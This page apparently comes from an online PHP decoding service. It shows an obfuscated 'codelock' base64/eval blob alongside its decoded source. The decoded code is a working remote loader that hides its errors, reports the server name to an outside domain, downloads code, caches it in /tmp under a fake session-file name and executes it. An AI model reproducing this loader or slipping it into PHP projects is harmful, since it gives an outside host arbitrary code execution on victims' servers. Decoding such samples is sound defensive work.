Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

$codelock_code="Pz48Pw0KZXJyb3JfcmVwb3J0a!nKDApOw0KDQpmd!jdGlvbiBDaGVja0NhY2hlRGlyICgkdG1w..

Decoded Output download

?><?
error_reporting(0);

function CheckCacheDir ($tmppath,$tmpfname) {
	
	$CheckCacheDir_res=0;
	if (is_writable($tmppath)) {
		$CheckCacheDir_res=1;
		if (file_exists($tmpfname)){
			$CheckCacheDir_res=2;
		}
	
	}
return $CheckCacheDir_res;
}


function GetCode($url) {


	$ch = curl_init();

	if ($ch){
		curl_setopt ($ch, CURLOPT_URL, $url); 
		curl_setopt ($ch, CURLOPT_USERAGENT, "codelock");
		curl_setopt ($ch, CURLOPT_RETURNTRANSFER, 1); 
		curl_setopt ($ch, CURLOPT_TIMEOUT, 10); 
		$returned_code=curl_exec ($ch); 
		curl_close ($ch);
	}

	else {

		$opts = array(
			'http'=>array(
			'method'=>"GET",
			'header'=>"User-Agent: codelock
"
			)
		);	
		$returned_code = "";
		$context = stream_context_create($opts);
		$fp = fopen($url, 'r', false, $context);
			if ($fp) {
				while (!feof($fp))
					{
					$buffer = fread($fp, 1024);
					$returned_code .= $buffer;
				}
				fclose($fp);
			}
	}

return $returned_code;
}

function CheckForUpdate($tmpfname,$lifetime) {

	$Diff = (time() - filectime($tmpfname))/60;
	if ($Diff > $lifetime) {		
		$cache_flag=1;
	}
	if ($Diff < $lifetime) {
		$cache_flag=0;		
	}

return $cache_flag;
}

function MakeCache($tmpfname,$code){

	$handle = fopen($tmpfname, "w");
	fwrite($handle, $code);
	fclose($handle);
}


$tmpfname = "/tmp/sess_o8yx-Cod3zQurSDjW8U2lA85Ji";
$tmppath = "/tmp";
$lifetime = 60;
$cache_flag = 0;

$s = $_SERVER['SERVER_NAME'];


$CF = CheckCacheDir ($tmppath,$tmpfname);

switch ($CF) {
case 0:
	$url="http://dnschina2.com/getcode?num=$number&sn=$s&ch=NO";
	$code = GetCode($url);
	echo $code;
	break;

case 1:
	$url="http://dnschina2.com/cu_source?num=$number&sn=$s&ch=YES";
	$code = GetCode($url);
	MakeCache($tmpfname,$code);
	include  ($tmpfname);
	break;
case 2:
	$url="http://dnschina2.com/cu_source?num=$number&sn=$s&ch=YES";
	if(CheckForUpdate($tmpfname,$lifetime)){	
		unlink($tmpfname);
		$code = GetCode($url);
		MakeCache($tmpfname,$code);
		include  ($tmpfname);
	
	}
	else include  ($tmpfname);
	break;


}





?><?php 

Did this file decode correctly?

Original Code

$codelock_code="Pz48Pw0KZXJyb3JfcmVwb3J0a!nKDApOw0KDQpmd!jdGlvbiBDaGVja0NhY2hlRGlyICgkdG1wcGF0aCwkdG1wZm5hbWUpIHsNCgkNCgkkQ2hlY2tDYWNoZURpcl9yZXM9MDsNCglpZiAoaXNfd3JpdGFibGUoJHRtcHBhdGgpKSB7DQoJCSRDaGVja0NhY2hlRGlyX3Jlcz0xOw0KCQlpZiAoZmlsZV9leGlzdHMoJHRtcGZuYW1lKSl7DQoJCQkkQ2hlY2tDYWNoZURpcl9yZXM9MjsNCgkJfQ0KCQ0KCX0NCnJldHVybiAkQ2hlY2tDYWNoZURpcl9yZXM7DQp9DQoNCg0KZnVuY3Rpb24gR2V0Q29kZSgkdXJsKSB7DQoNCg0KCSRjaCA9IGN1cmxfa!pdCgpOw0KDQoJaWYgKCRjaCl7DQoJCWN1cmxfc2V0b3B0ICgkY2gsIENVUkxPUFRfVVJMLCAkdXJsKTsgDQoJCWN1cmxfc2V0b3B0ICgkY2gsIENVUkxPUFRfVVNFUkFHRU5ULCAiY29kZWxvY2siKTsNCgkJY3VybF9zZXRvcHQgKCRjaCwgQ1VSTE9QVF9SRVRVUk5UUkFOU0ZFUiwgMSk7IA0KCQljdXJsX3NldG9wdCAoJGNoLCBDVVJMT1BUX1RJTUVPVVQsIDEwKTsgDQoJCSRyZXR1cm5lZF9jb2RlPWN1cmxfZXhlYyAoJGNoKTsgDQoJCWN1cmxfY2xvc2UgKCRjaCk7DQoJfQ0KDQoJZWxzZSB7DQoNCgkJJG9wdHMgPSBhcnJheSgNCgkJCSdodHRwJz0+YXJyYXkoDQoJCQknbWV0aG9kJz0+IkdFVCIsDQoJCQknaGVhZGVyJz0+IlVzZXItQWdlbnQ6IGNvZGVsb2NrXHJcbiINCgkJCSkNCgkJKTsJDQoJCSRyZXR1cm5lZF9jb2RlID0gIiI7DQoJCSRjb250ZXh0ID0gc3RyZWFtX2NvbnRleHRfY3JlYXRlKCRvcHRzKTsNCgkJJGZwID0gZm9wZW4oJHVybCwgJ3InLCBmYWxzZSwgJGNvbnRleHQpOw0KCQkJaWYgKCRmcCkgew0KCQkJCXdoaWxlICghZmVvZigkZnApKQ0KCQkJCQl7DQoJCQkJCSRidWZmZXIgPSBmcmVhZCgkZnAsIDEwMjQpOw0KCQkJCQkkcmV0dXJuZWRfY29kZSAuPSAkYnVmZmVyOw0KCQkJCX0NCgkJCQlmY2xvc2UoJGZwKTsNCgkJCX0NCgl9DQoNCnJldHVybiAkcmV0dXJuZWRfY29kZTsNCn0NCg0KZnVuY3Rpb24gQ2hlY2tGb3JVcGRhdGUoJHRtcGZuYW1lLCRsaWZldGltZSkgew0KDQoJJERpZmYgPSAodGltZSgpIC0gZmlsZWN0aW1lKCR0bXBmbmFtZSkpLzYwOw0KCWlmICgkRGlmZiA+ICRsaWZldGltZSkgewkJDQoJCSRjYWNoZV9mbGFnPTE7DQoJfQ0KCWlmICgkRGlmZiA8ICRsaWZldGltZSkgew0KCQkkY2FjaGVfZmxhZz0wOwkJDQoJfQ0KDQpyZXR1cm4gJGNhY2hlX2ZsYWc7DQp9DQoNCmZ1bmN0aW9uIE1ha2VDYWNoZSgkdG1wZm5hbWUsJGNvZGUpew0KDQoJJGhhbmRsZSA9IGZvcGVuKCR0bXBmbmFtZSwgInciKTsNCglmd3JpdGUoJGhhbmRsZSwgJGNvZGUpOw0KCWZjbG9zZSgkaGFuZGxlKTsNCn0NCg0KDQokdG1wZm5hbWUgPSAiL3RtcC9zZXNzX284eXgtQ29kM3pRdXJTRGpXOFUybEE4NUppIjsNCiR0bXBwYXRoID0gIi90bXAiOw0KJGxpZmV0aW1lID0gNjA7DQokY2FjaGVfZmxhZyA9IDA7DQoNCiRzID0gJF9TRVJWRVJbJ1NFUlZFUl9OQU1FJ107DQoNCg0KJENGID0gQ2hlY2tDYWNoZURpciAoJHRtcHBhdGgsJHRtcGZuYW1lKTsNCg0Kc3dpdGNoICgkQ0YpIHsNCmNhc2UgMDoNCgkkdXJsPSJodHRwOi8vZG5zY2hpbmEyLmNvbS9nZXRjb2RlP251bT0kbnVtYmVyJnNuPSRzJmNoPU5PIjsNCgkkY29kZSA9IEdldENvZGUoJHVybCk7DQoJZWNobyAkY29kZTsNCglicmVhazsNCg0KY2FzZSAxOg0KCSR1cmw9Imh0dHA6Ly9kbnNjaGluYTIuY29tL2N1X3NvdXJjZT9udW09JG51bWJlciZzbj0kcyZjaD1ZRVMiOw0KCSRjb2RlID0gR2V0Q29kZSgkdXJsKTsNCglNYWtlQ2FjaGUoJHRtcGZuYW1lLCRjb2RlKTsNCglpbmNsdWRlICAoJHRtcGZuYW1lKTsNCglicmVhazsNCmNhc2UgMjoNCgkkdXJsPSJodHRwOi8vZG5zY2hpbmEyLmNvbS9jdV9zb3VyY2U/bnVtPSRudW1iZXImc249JHMmY2g9WUVTIjsNCglpZihDaGVja0ZvclVwZGF0ZSgkdG1wZm5hbWUsJGxpZmV0aW1lKSl7CQ0KCQl1bmxpbmsoJHRtcGZuYW1lKTsNCgkJJGNvZGUgPSBHZXRDb2RlKCR1cmwpOw0KCQlNYWtlQ2FjaGUoJHRtcGZuYW1lLCRjb2RlKTsNCgkJa!jbHVkZSAgKCR0bXBmbmFtZSk7DQoJDQoJfQ0KCWVsc2Uga!jbHVkZSAgKCR0bXBmbmFtZSk7DQoJYnJlYWs7DQoNCg0KfQ0KDQoNCg0KDQoNCj8+PD9QSFAg"; $codelock_code=str_replace("@","CAg", $codelock_code); $codelock_code=str_replace("!", "W5", $codelock_code); $codelock_code=str_replace("*", "CAgI", $codelock_code); $codelock_code=base64_decode($codelock_code); eval($codelock_code); 

Function Calls

str_replace 3
base64_decode 1

Variables

$codelock_code ?><? error_reporting(0); function CheckCacheDir ($tmppat..

Stats

MD5 cec7dd92061fef1f0fb433fb66e9e0f4
Eval Count 1
Decode Time 89 ms